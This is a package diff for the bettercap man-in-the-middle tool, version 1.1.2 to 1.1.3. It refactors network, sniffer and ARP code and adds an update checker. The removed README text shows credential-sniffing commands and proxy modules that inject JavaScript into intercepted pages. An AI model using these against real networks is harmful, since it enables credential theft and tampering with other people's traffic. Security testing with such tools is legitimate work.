bettercap 1.1.2 → 1.1.3
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +6 -140
- data/TODO.md +3 -2
- data/bin/bettercap +20 -0
- data/lib/bettercap/base/ifirewall.rb +10 -0
- data/lib/bettercap/context.rb +39 -21
- data/lib/bettercap/discovery/arp.rb +17 -0
- data/lib/bettercap/httpd/server.rb +4 -4
- data/lib/bettercap/monkey/packetfu/utils.rb +52 -34
- data/lib/bettercap/network.rb +35 -32
- data/lib/bettercap/proxy/proxy.rb +2 -2
- data/lib/bettercap/shell.rb +1 -1
- data/lib/bettercap/sniffer/sniffer.rb +51 -19
- data/lib/bettercap/spoofers/arp.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +2 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 3ec474a048798ccf1e1cdffd8e9cd89451664e34
|
4
|
+
data.tar.gz: b7a71427a38b282296afe4ea29e4ff17544a2ae8
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 1181286df3a437f4687ad6472dec73979358f517946775f7b5b058831bdd8209505ae8efe77e2034698d7cc0952daeb4b80e072f28698e6fee2b3e46304c6105
|
7
|
+
data.tar.gz: b180321825414edddc52aa36d3eee9a3c67c320aa55ed1911a1fe5c0a9758c241adc914bfab558dc1fe15c32d65574ec1b62e3dd2e993661a20b1744c11708f1
|
data/README.md
CHANGED
@@ -4,151 +4,12 @@ Copyleft of Simone '[evilsocket](https://twitter.com/evilsocket)' Margaritelli*.
|
|
4
4
|
|
5
5
|
http://www.bettercap.org/
|
6
6
|
|
7
|
-
[![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap)
|
7
|
+
[![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap)
|
8
8
|
---
|
9
9
|
|
10
10
|
**bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
|
11
11
|
and offensive feature you could need in order to perform a man in the middle attack.
|
12
12
|
|
13
|
-
MOTIVATIONS
|
14
|
-
===
|
15
|
-
|
16
|
-
> Yet another MITM tool? C'mon, really?!!?
|
17
|
-
|
18
|
-
This is exactly what you are thinking right now, isn't it? :D
|
19
|
-
But allow yourself to think about it for 5 more minutes ... what you should be really asking is:
|
20
|
-
|
21
|
-
> Does a complete, modular, portable and easy to extend MITM tool actually exist?
|
22
|
-
|
23
|
-
If your answer is "ettercap", let me tell you something:
|
24
|
-
|
25
|
-
* ettercap **was** a great tool, but it made its time.
|
26
|
-
* ettercap filters **do not** work most of the times, are outdated and hard to implement due to the specific language they're implemented in.
|
27
|
-
* ettercap is freaking **unstable** on big networks ... try to launch the host discovery on a bigger network rather than the usual /24 ;)
|
28
|
-
* yeah you can see connections and raw pcap stuff, **nice toy**, but **as a professional researcher I want to see only relevant stuff**.
|
29
|
-
* unless you're a C/C++ developer, you can't easily extend ettercap or make your own module.
|
30
|
-
|
31
|
-
Indeed you could use more than just one tool ... maybe [arpspoof](http://linux.die.net/man/8/arpspoof) to perform the actual poisoning, [mitmproxy](http://mitmproxy.org) to intercept HTTP stuff and inject your payloads and so forth ... I don't know about you, but I **hate** when I need to use a dozen of tools just to perform one single attack, especially when I need to do some black magic in order to make all of them work on my distro or on OSX ... what about the [KISS](https://en.wikipedia.org/wiki/KISS_principle) principle?
|
32
|
-
|
33
|
-
So **bettercap** was born ( isn't the name pure genius? XD ) ...
|
34
|
-
|
35
|
-
HOST DISCOVERY + ARP MAN IN THE MIDDLE
|
36
|
-
===
|
37
|
-
|
38
|
-
You can target the whole network or a single known address, it doesn't really matter, bettercap arp spoofing capabilities and its multiple hosts discovery agents will do the dirty work for you.
|
39
|
-
Just launch the tool and wait for it to do its job ... again, [KISS!](https://en.wikipedia.org/wiki/KISS_principle)
|
40
|
-
|
41
|
-
![credentials](http://bettercap.org/images/discovery.png)
|
42
|
-
|
43
|
-
CREDENTIALS SNIFFER
|
44
|
-
===
|
45
|
-
|
46
|
-
The built in sniffer is currently able to dissect and print from the network the following informations:
|
47
|
-
|
48
|
-
- URLs being visited.
|
49
|
-
- HTTPS host being visited.
|
50
|
-
- HTTP POSTed data.
|
51
|
-
- HTTP Basic and Digest authentications.
|
52
|
-
- FTP credentials.
|
53
|
-
- IRC credentials.
|
54
|
-
- POP, IMAP and SMTP credentials.
|
55
|
-
- NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
|
56
|
-
|
57
|
-
![credentials](http://bettercap.org/images/credentials.png)
|
58
|
-
|
59
|
-
**Examples**
|
60
|
-
|
61
|
-
Default sniffer mode, all parsers enabled:
|
62
|
-
|
63
|
-
sudo bettercap -X
|
64
|
-
|
65
|
-
Enable sniffer and load only specified parsers:
|
66
|
-
|
67
|
-
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
|
68
|
-
|
69
|
-
Enable sniffer + all parsers and parse local traffic as well:
|
70
|
-
|
71
|
-
sudo bettercap -X -L
|
72
|
-
|
73
|
-
MODULAR TRANSPARENT PROXY
|
74
|
-
===
|
75
|
-
|
76
|
-
A modular transparent proxy can be started with the --proxy argument, by default it won't do anything
|
77
|
-
but logging HTTP requests, but if you specify a **--proxy-module** argument you will be able to load
|
78
|
-
your own modules and manipulate HTTP traffic as you like.
|
79
|
-
You can find some example modules in the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules).
|
80
|
-
|
81
|
-
![credentials](http://bettercap.org/images/proxy.png)
|
82
|
-
|
83
|
-
**Examples**
|
84
|
-
|
85
|
-
Enable proxy on default ( 8080 ) port with no modules ( quite useless ):
|
86
|
-
|
87
|
-
sudo bettercap --proxy
|
88
|
-
|
89
|
-
Enable proxy and use a custom port:
|
90
|
-
|
91
|
-
sudo bettercap --proxy --proxy-port=8081
|
92
|
-
|
93
|
-
Enable proxy and load the module **hack_title.rb**:
|
94
|
-
|
95
|
-
sudo bettercap --proxy --proxy-module=hack_title.rb
|
96
|
-
|
97
|
-
Disable spoofer and enable proxy ( stand alone proxy mode ):
|
98
|
-
|
99
|
-
sudo bettercap -S NONE --proxy
|
100
|
-
|
101
|
-
**Modules**
|
102
|
-
|
103
|
-
You can easily implement a module to inject data into pages or just inspect the
|
104
|
-
requests/responses creating a ruby file and passing it to bettercap with the --proxy-module argument,
|
105
|
-
the following is a sample module that injects some contents into the title tag of each html page.
|
106
|
-
|
107
|
-
```ruby
|
108
|
-
class HackTitle < Proxy::Module
|
109
|
-
def on_request( request, response )
|
110
|
-
# is it a html page?
|
111
|
-
if response.content_type == 'text/html'
|
112
|
-
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
|
113
|
-
# make sure to use sub! or gsub! to update the instance
|
114
|
-
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
|
115
|
-
end
|
116
|
-
end
|
117
|
-
end
|
118
|
-
```
|
119
|
-
|
120
|
-
BUILTIN HTTP SERVER
|
121
|
-
===
|
122
|
-
|
123
|
-
You want to serve your custom javascript files on the network? Maybe you wanna inject some custom
|
124
|
-
script or image into HTTP responses using a transparent proxy module but you got no public server
|
125
|
-
to use? **no worries dude** :D
|
126
|
-
A builtin HTTP server comes with bettercap, allowing you to serve custom contents from your own
|
127
|
-
machine without installing and configuring other softwares such as Apache, nginx or lighttpd.
|
128
|
-
|
129
|
-
You could use a **proxy module** like the following:
|
130
|
-
|
131
|
-
```ruby
|
132
|
-
class InjectJS < Proxy::Module
|
133
|
-
def on_request( request, response )
|
134
|
-
# is it a html page?
|
135
|
-
if response.content_type == 'text/html'
|
136
|
-
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
|
137
|
-
# get the local interface address and HTTPD port
|
138
|
-
localaddr = Context.get.ifconfig[:ip_saddr]
|
139
|
-
localport = Context.get.options[:httpd_port]
|
140
|
-
# inject the js
|
141
|
-
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
|
142
|
-
end
|
143
|
-
end
|
144
|
-
end
|
145
|
-
```
|
146
|
-
|
147
|
-
And then use it to inject the js file in every HTTP response of the network, using bettercap itself
|
148
|
-
to serve the file:
|
149
|
-
|
150
|
-
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
|
151
|
-
|
152
13
|
HOW TO INSTALL
|
153
14
|
===
|
154
15
|
|
@@ -173,3 +34,8 @@ dependency in order to make everything work:
|
|
173
34
|
|
174
35
|
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
|
175
36
|
|
37
|
+
|
38
|
+
EXAMPLES & INSTRUCTIONS
|
39
|
+
===
|
40
|
+
|
41
|
+
Please refer to the [official website](http://bettercap.org).
|
data/TODO.md
CHANGED
@@ -6,16 +6,17 @@ This is a list of TODOs I use to keep track of tasks and upcoming features.
|
|
6
6
|
- [x] Capture to .pcap file.
|
7
7
|
- [x] BPF filters.
|
8
8
|
- [x] BeEF proxy module ( [BeefBOX](https://github.com/evilsocket/bettercap-proxy-modules/blob/master/beefbox.rb) ).
|
9
|
-
- [
|
9
|
+
- [x] Use raw file arp parsing instead of "arp -a" to improve speed. ( Solved with arp -a -n )
|
10
|
+
- [ ] *BSD Support.
|
10
11
|
- [ ] sslstrip
|
11
12
|
- [ ] sslmitm
|
12
|
-
- [ ] *BSD Support.
|
13
13
|
- [ ] HTTP/2 Support.
|
14
14
|
- [ ] Active packet filtering/injection/etc.
|
15
15
|
|
16
16
|
**Maybe**
|
17
17
|
|
18
18
|
- [ ] Replace webrick with thin ( proxy too? )
|
19
|
+
- [ ] ICMP Redirect ? ( only half duplex and filtered by many firewalls anyway ... dunno ).
|
19
20
|
- [ ] DNS Spoofing ( not sure if it actually makes any sense ).
|
20
21
|
- [ ] Windows Support? ( OMG PLZ NO! )
|
21
22
|
- [ ] Output/actions as json for UI integration?
|
data/bin/bettercap
CHANGED
@@ -22,6 +22,7 @@ begin
|
|
22
22
|
|
23
23
|
OptionParser.new do |opts|
|
24
24
|
opts.banner = "Usage: #{$0} [options]"
|
25
|
+
opts.version = BetterCap::VERSION
|
25
26
|
|
26
27
|
opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options[:iface].to_s ) do |v|
|
27
28
|
ctx.options[:iface] = v
|
@@ -103,6 +104,10 @@ begin
|
|
103
104
|
ctx.options[:httpd_path] = v
|
104
105
|
end
|
105
106
|
|
107
|
+
opts.on( '--check-updates', 'Will check if any update is available and then exit.' ) do
|
108
|
+
ctx.options[:check_updates] = true
|
109
|
+
end
|
110
|
+
|
106
111
|
opts.on('-h', '--help', 'Display the available options.') do
|
107
112
|
puts opts
|
108
113
|
puts "\nExamples:\n".bold
|
@@ -126,6 +131,21 @@ begin
|
|
126
131
|
end
|
127
132
|
end.parse!
|
128
133
|
|
134
|
+
if ctx.options[:check_updates]
|
135
|
+
begin
|
136
|
+
ver = ctx.check_updates
|
137
|
+
if !ver.nil?
|
138
|
+
Logger.warn "New version #{ver} available!"
|
139
|
+
else
|
140
|
+
Logger.info 'You are running the latest version.'
|
141
|
+
end
|
142
|
+
rescue Exception => e
|
143
|
+
Logger.error "Could not check for updates: #{e.message}"
|
144
|
+
end
|
145
|
+
|
146
|
+
exit
|
147
|
+
end
|
148
|
+
|
129
149
|
raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
|
130
150
|
raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' unless !ctx.options[:iface].nil?
|
131
151
|
|
@@ -10,6 +10,10 @@ This project is released under the GPL 3 license.
|
|
10
10
|
|
11
11
|
=end
|
12
12
|
class IFirewall
|
13
|
+
def initialize
|
14
|
+
@frwd_initial_state = forwarding_enabled?
|
15
|
+
end
|
16
|
+
|
13
17
|
def enable_forwarding(enabled)
|
14
18
|
not_implemented_method!
|
15
19
|
end
|
@@ -26,6 +30,12 @@ class IFirewall
|
|
26
30
|
not_implemented_method!
|
27
31
|
end
|
28
32
|
|
33
|
+
def restore
|
34
|
+
if forwarding_enabled? != @frwd_initial_state
|
35
|
+
enable_forwarding @frwd_initial_state
|
36
|
+
end
|
37
|
+
end
|
38
|
+
|
29
39
|
private
|
30
40
|
|
31
41
|
def not_implemented_method!
|
data/lib/bettercap/context.rb
CHANGED
@@ -11,7 +11,10 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
|
13
13
|
# this class holds global states & data
|
14
|
+
require 'bettercap/version'
|
14
15
|
require 'bettercap/error'
|
16
|
+
require 'net/http'
|
17
|
+
require 'json'
|
15
18
|
|
16
19
|
class Context
|
17
20
|
attr_accessor :options, :ifconfig, :network, :firewall, :gateway,
|
@@ -32,26 +35,28 @@ class Context
|
|
32
35
|
end
|
33
36
|
|
34
37
|
@options = {
|
35
|
-
:
|
36
|
-
:
|
37
|
-
:
|
38
|
-
:
|
39
|
-
:
|
40
|
-
:
|
41
|
-
|
42
|
-
:
|
43
|
-
:
|
44
|
-
:
|
45
|
-
:
|
46
|
-
:
|
47
|
-
|
48
|
-
:
|
49
|
-
:
|
50
|
-
:
|
51
|
-
|
52
|
-
:
|
53
|
-
:
|
54
|
-
:
|
38
|
+
iface: iface,
|
39
|
+
spoofer: 'ARP',
|
40
|
+
target: nil,
|
41
|
+
logfile: nil,
|
42
|
+
debug: false,
|
43
|
+
arpcache: false,
|
44
|
+
|
45
|
+
sniffer: false,
|
46
|
+
sniffer_pcap: nil,
|
47
|
+
sniffer_filter: nil,
|
48
|
+
parsers: ['*'],
|
49
|
+
local: false,
|
50
|
+
|
51
|
+
proxy: false,
|
52
|
+
proxy_port: 8080,
|
53
|
+
proxy_module: nil,
|
54
|
+
|
55
|
+
httpd: false,
|
56
|
+
httpd_port: 8081,
|
57
|
+
httpd_path: './',
|
58
|
+
|
59
|
+
check_updates: false
|
55
60
|
}
|
56
61
|
|
57
62
|
@ifconfig = nil
|
@@ -67,6 +72,19 @@ class Context
|
|
67
72
|
@discovery_thread = nil
|
68
73
|
end
|
69
74
|
|
75
|
+
def check_updates
|
76
|
+
Logger.info 'Checking for updates ...'
|
77
|
+
|
78
|
+
api = URI('https://api.github.com/repos/evilsocket/bettercap/releases/latest')
|
79
|
+
body = Net::HTTP.get(api)
|
80
|
+
json = JSON.parse(body)
|
81
|
+
|
82
|
+
if json['tag_name'] != BetterCap::VERSION and json['tag_name'] != "v#{BetterCap::VERSION}"
|
83
|
+
return json['tag_name']
|
84
|
+
end
|
85
|
+
nil
|
86
|
+
end
|
87
|
+
|
70
88
|
def update_network
|
71
89
|
@firewall = FirewallFactory.get_firewall
|
72
90
|
@ifconfig = PacketFu::Utils.ifconfig @options[:iface]
|
@@ -135,7 +153,7 @@ class Context
|
|
135
153
|
end
|
136
154
|
|
137
155
|
if !@firewall.nil?
|
138
|
-
@firewall.
|
156
|
+
@firewall.restore
|
139
157
|
end
|
140
158
|
|
141
159
|
if !@httpd.nil?
|
@@ -13,6 +13,7 @@ require 'bettercap/logger'
|
|
13
13
|
require 'bettercap/shell'
|
14
14
|
require 'bettercap/target'
|
15
15
|
require 'bettercap/discovery/base'
|
16
|
+
require 'bettercap/context'
|
16
17
|
|
17
18
|
# Parse the ARP table searching for new hosts.
|
18
19
|
class ArpAgent < BaseAgent
|
@@ -37,6 +38,22 @@ class ArpAgent < BaseAgent
|
|
37
38
|
targets
|
38
39
|
end
|
39
40
|
|
41
|
+
def self.find_address( ip )
|
42
|
+
arp = Shell.arp
|
43
|
+
mac = nil
|
44
|
+
|
45
|
+
arp.split("\n").each do |line|
|
46
|
+
m = /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{Context.get.ifconfig[:iface]}.*/i.match(line)
|
47
|
+
if !m.nil?
|
48
|
+
if m[1] == ip and m[2] != 'ff:ff:ff:ff:ff:ff'
|
49
|
+
mac = m[2]
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
53
|
+
|
54
|
+
mac
|
55
|
+
end
|
56
|
+
|
40
57
|
private
|
41
58
|
|
42
59
|
def send_probe( ip )
|
@@ -20,10 +20,10 @@ class Server
|
|
20
20
|
@port = port
|
21
21
|
@path = path
|
22
22
|
@server = WEBrick::HTTPServer.new(
|
23
|
-
:
|
24
|
-
:
|
25
|
-
:
|
26
|
-
:
|
23
|
+
Port: @port,
|
24
|
+
DocumentRoot: @path,
|
25
|
+
Logger: WEBrick::Log.new("/dev/null"),
|
26
|
+
AccessLog: []
|
27
27
|
)
|
28
28
|
end
|
29
29
|
|
@@ -26,51 +26,69 @@ module PacketFu
|
|
26
26
|
Logger.debug "ifconfig #{iface}"
|
27
27
|
|
28
28
|
ifconfig_data = Shell.ifconfig(iface)
|
29
|
-
|
29
|
+
if ifconfig_data =~ /#{iface}/i
|
30
|
+
ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
|
31
|
+
else
|
32
|
+
raise ArgumentError, "Cannot ifconfig #{iface}"
|
33
|
+
end
|
34
|
+
|
30
35
|
case RUBY_PLATFORM
|
31
36
|
when /linux/i
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
37
|
+
ret = linux_ifconfig iface, ifconfig_data
|
38
|
+
when /darwin/i
|
39
|
+
ret = darwin_ifconfig iface, ifconfig_data
|
40
|
+
end
|
41
|
+
|
42
|
+
ret
|
43
|
+
end
|
44
|
+
|
45
|
+
private
|
46
|
+
|
47
|
+
def self.linux_ifconfig(iface='eth0',ifconfig_data)
|
48
|
+
Logger.debug "Linux ifconfig #{iface}:\n#{ifconfig_data}"
|
49
|
+
|
50
|
+
ret = {}
|
51
|
+
real_iface = ifconfig_data.first
|
52
|
+
ret[:iface] = real_iface.split.first.downcase.gsub(':','')
|
53
|
+
|
54
|
+
if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i
|
55
|
+
ret[:eth_saddr] = $1.downcase
|
56
|
+
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
57
|
+
end
|
58
|
+
|
59
|
+
ifconfig_data.each do |s|
|
60
|
+
case s
|
47
61
|
when /inet [a-z]+:[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*[a-z]+:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
|
48
62
|
ret[:ip_saddr] = $1
|
49
|
-
ret[:ip_src] = [IPAddr.new($1).to_i].pack(
|
63
|
+
ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
|
50
64
|
ret[:ip4_obj] = IPAddr.new($1)
|
51
65
|
ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
|
52
66
|
when /inet[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
|
53
67
|
ret[:ip_saddr] = $1
|
54
|
-
ret[:ip_src] = [IPAddr.new($1).to_i].pack(
|
68
|
+
ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
|
55
69
|
ret[:ip4_obj] = IPAddr.new($1)
|
56
70
|
ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
|
57
71
|
when /inet6 [a-z]+:[\s]*([0-9a-fA-F:\x2f]+)/
|
58
72
|
ret[:ip6_saddr] = $1
|
59
73
|
ret[:ip6_obj] = IPAddr.new($1)
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
|
64
|
-
|
65
|
-
if ifconfig_data =~ /#{iface}/i
|
66
|
-
ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
|
67
|
-
else
|
68
|
-
raise ArgumentError, "Cannot ifconfig #{iface}"
|
74
|
+
when /ether[\s]+([0-9a-fA-F:]{17})/i
|
75
|
+
ret[:eth_saddr] = $1.downcase
|
76
|
+
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
69
77
|
end
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
78
|
+
end
|
79
|
+
|
80
|
+
ret
|
81
|
+
end
|
82
|
+
|
83
|
+
def self.darwin_ifconfig(iface='eth0',ifconfig_data)
|
84
|
+
Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
|
85
|
+
|
86
|
+
ret = {}
|
87
|
+
real_iface = ifconfig_data.first
|
88
|
+
ret[:iface] = real_iface.split(':')[0]
|
89
|
+
|
90
|
+
ifconfig_data.each do |s|
|
91
|
+
case s
|
74
92
|
when /ether[\s]([0-9a-fA-F:]{17})/i
|
75
93
|
ret[:eth_saddr] = $1
|
76
94
|
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
@@ -87,9 +105,9 @@ module PacketFu
|
|
87
105
|
when /inet6[\s]*([0-9a-fA-F:\x2f]+)/
|
88
106
|
ret[:ip6_saddr] = $1
|
89
107
|
ret[:ip6_obj] = IPAddr.new($1)
|
90
|
-
|
91
|
-
|
92
|
-
|
108
|
+
end
|
109
|
+
end
|
110
|
+
|
93
111
|
ret
|
94
112
|
end
|
95
113
|
end
|
data/lib/bettercap/network.rb
CHANGED
@@ -40,6 +40,7 @@ class Network
|
|
40
40
|
out.each do |line|
|
41
41
|
if line.include?( Context.get.options[:iface] )
|
42
42
|
gw = line.split[1]
|
43
|
+
break if is_ip?(gw)
|
43
44
|
end
|
44
45
|
end
|
45
46
|
|
@@ -91,41 +92,43 @@ class Network
|
|
91
92
|
won't catch anything, instead we're using cap.stream.each.
|
92
93
|
=end
|
93
94
|
def get_hw_address( iface, ip_address, attempts = 2 )
|
94
|
-
hw_address =
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
95
|
+
hw_address = ArpAgent.find_address( ip_address )
|
96
|
+
|
97
|
+
if hw_address.nil?
|
98
|
+
attempts.times do
|
99
|
+
arp_pkt = PacketFu::ARPPacket.new
|
100
|
+
|
101
|
+
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
|
102
|
+
arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
|
103
|
+
arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
|
104
|
+
arp_pkt.arp_saddr_ip = iface[:ip_saddr]
|
105
|
+
arp_pkt.arp_daddr_ip = ip_address
|
106
|
+
|
107
|
+
cap_thread = Thread.new do
|
108
|
+
target_mac = nil
|
109
|
+
timeout = 0
|
110
|
+
|
111
|
+
cap = PacketFu::Capture.new(
|
112
|
+
iface: iface[:iface],
|
113
|
+
start: true,
|
114
|
+
filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
|
115
|
+
)
|
116
|
+
arp_pkt.to_w(iface[:iface])
|
117
|
+
|
118
|
+
begin
|
119
|
+
Logger.debug 'Attempting to get MAC from packet capture ...'
|
120
|
+
target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
|
121
|
+
rescue Timeout::Error
|
122
|
+
timeout += 0.1
|
123
|
+
retry if target_mac.nil? && timeout <= 5
|
124
|
+
end
|
125
|
+
|
126
|
+
target_mac
|
122
127
|
end
|
128
|
+
hw_address = cap_thread.value
|
123
129
|
|
124
|
-
|
130
|
+
break unless hw_address.nil?
|
125
131
|
end
|
126
|
-
hw_address = cap_thread.value
|
127
|
-
|
128
|
-
break unless hw_address.nil?
|
129
132
|
end
|
130
133
|
|
131
134
|
hw_address
|
@@ -213,7 +213,7 @@ class Proxy
|
|
213
213
|
if request.content_length > 0
|
214
214
|
Logger.debug "Getting #{request.content_length} bytes from client"
|
215
215
|
|
216
|
-
binary_streaming client, server, :
|
216
|
+
binary_streaming client, server, request: request
|
217
217
|
end
|
218
218
|
|
219
219
|
Logger.debug 'Reading response ...'
|
@@ -240,7 +240,7 @@ class Proxy
|
|
240
240
|
|
241
241
|
Logger.debug 'Binary streaming'
|
242
242
|
|
243
|
-
binary_streaming server, client, :
|
243
|
+
binary_streaming server, client, response: response
|
244
244
|
end
|
245
245
|
|
246
246
|
Logger.debug "#{client_ip}:#{client_port} served."
|
data/lib/bettercap/shell.rb
CHANGED
@@ -17,36 +17,34 @@ require 'packetfu'
|
|
17
17
|
class Sniffer
|
18
18
|
include PacketFu
|
19
19
|
|
20
|
+
@@ctx = nil
|
20
21
|
@@parsers = nil
|
22
|
+
@@pcap = nil
|
23
|
+
@@cap = nil
|
21
24
|
|
22
25
|
def self.start( ctx )
|
23
26
|
Logger.info 'Starting sniffer ...'
|
24
27
|
|
25
|
-
|
28
|
+
setup( ctx )
|
26
29
|
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
+
@@cap.stream.each do |p|
|
31
|
+
append_packet p
|
32
|
+
parse_packet p
|
30
33
|
end
|
34
|
+
end
|
31
35
|
|
32
|
-
|
33
|
-
|
34
|
-
cap = Capture.new(
|
35
|
-
:iface => ctx.options[:iface],
|
36
|
-
:filter => ctx.options[:sniffer_filter],
|
37
|
-
:start => true
|
38
|
-
)
|
39
|
-
cap.stream.each do |p|
|
40
|
-
begin
|
41
|
-
pcap.array_to_file( :filename => ctx.options[:sniffer_pcap], :array => [p], :append => true) unless pcap.nil?
|
42
|
-
rescue Exception => e
|
43
|
-
Logger.warn e.message
|
44
|
-
end
|
36
|
+
private
|
45
37
|
|
38
|
+
def self.parse_packet( p )
|
39
|
+
begin
|
46
40
|
pkt = Packet.parse p
|
47
|
-
|
48
|
-
|
41
|
+
rescue Exception => e
|
42
|
+
pkt = nil
|
43
|
+
Logger.debug e.message
|
44
|
+
end
|
49
45
|
|
46
|
+
if not pkt.nil? and pkt.is_ip?
|
47
|
+
if !skip_packet? pkt
|
50
48
|
@@parsers.each do |parser|
|
51
49
|
begin
|
52
50
|
parser.on_packet pkt
|
@@ -57,4 +55,38 @@ class Sniffer
|
|
57
55
|
end
|
58
56
|
end
|
59
57
|
end
|
58
|
+
|
59
|
+
def self.skip_packet?( pkt )
|
60
|
+
!@@ctx.options[:local] and
|
61
|
+
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
62
|
+
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
63
|
+
end
|
64
|
+
|
65
|
+
def self.append_packet( p )
|
66
|
+
begin
|
67
|
+
@@pcap.array_to_file(
|
68
|
+
filename: @@ctx.options[:sniffer_pcap],
|
69
|
+
array: [p],
|
70
|
+
append: true ) unless @@pcap.nil?
|
71
|
+
rescue Exception => e
|
72
|
+
Logger.warn e.message
|
73
|
+
end
|
74
|
+
end
|
75
|
+
|
76
|
+
def self.setup( ctx )
|
77
|
+
@@ctx = ctx
|
78
|
+
|
79
|
+
if !@@ctx.options[:sniffer_pcap].nil?
|
80
|
+
@@pcap = PcapFile.new
|
81
|
+
Logger.warn "Saving packets to #{@@ctx.options[:sniffer_pcap]} ."
|
82
|
+
end
|
83
|
+
|
84
|
+
@@parsers = ParserFactory.load_by_names @@ctx.options[:parsers]
|
85
|
+
|
86
|
+
@@cap = Capture.new(
|
87
|
+
iface: @@ctx.options[:iface],
|
88
|
+
filter: @@ctx.options[:sniffer_filter],
|
89
|
+
start: true
|
90
|
+
)
|
91
|
+
end
|
60
92
|
end
|
@@ -84,7 +84,7 @@ class ArpSpoofer < ISpoofer
|
|
84
84
|
if target.mac.nil?
|
85
85
|
Logger.warn "Getting target #{target.ip} MAC address ..."
|
86
86
|
|
87
|
-
hw = Network.get_hw_address( @ctx.ifconfig, target.ip
|
87
|
+
hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
|
88
88
|
if hw.nil?
|
89
89
|
Logger.warn "Couldn't determine target MAC"
|
90
90
|
next
|
data/lib/bettercap/version.rb
CHANGED
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.1.
|
4
|
+
version: 1.1.3
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2015-07-
|
11
|
+
date: 2015-07-27 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|